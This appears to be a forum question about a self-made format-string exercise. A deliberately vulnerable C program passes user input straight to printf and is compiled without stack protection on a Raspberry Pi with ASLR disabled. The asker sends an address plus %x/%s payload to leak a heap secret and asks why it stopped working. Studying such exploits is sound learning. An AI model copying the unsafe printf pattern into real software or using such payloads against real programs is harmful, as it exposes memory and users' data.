title: Format string exploit exercise
body: <p>consider the following code:</p>
  <pre><code>#include &lt;stdio.h&gt;
  #include &lt;string.h&gt;
  #include &lt;stdlib.h&gt;
  
  void vuln(char *user_input)
  {
      char buf[128];
  
      strcpy(buf, user_input);
      printf(buf);
      printf(&quot;\n&quot;);
  
  }
  
  int main(int argc, const char * argv[]) {
      // insert code here...
      char *secret = (char *) malloc(5);
      strcpy(secret, &quot;4067&quot;);
      printf(&quot;secret is at: %p\n&quot;, secret);
      vuln(argv[1]);
      return 0;
  }
  </code></pre>
  <p>I compiled this code with the following command in gcc in Raspberry OS (RPi 3):</p>
  <pre><code>gcc -fno-stack-protector -z execstack format.c -o format
  </code></pre>
  <p>After which, I disabled ASLR on my Raspberry OS. The output of the program is as followed:</p>
  <pre><code>$ ./format AAAA
  secret is at: 0x22150
  AAAA
  </code></pre>
  <p>So in order to print the secret, I used the following:</p>
  <pre><code>$ ./format &quot;\x50\x21\x02\x00 %x.%x.%x.%x.%s&quot;
  </code></pre>
  <p>which gave me the following output:</p>
  <pre><code>$ ./format &quot;\x50\x21\x02\x00 %x.%x.%x.%x.%s&quot;
  secret is at: 0x22150
  \x50\x21\x02\x00 7e8d77eb.0.7e8d74a8.76f5a4f8.\x50\x21\x02\x00 %x.%x.%x.%x.%s
  </code></pre>
  <p>For some reason, %s printed the string but not the content as specified by the address \x50\x21\x02\x00. It used to work a few days ago but after performing an update, it does not work anymore. What can I do to make it work again?</p>
  <p>Any advice would be appreciated.</p>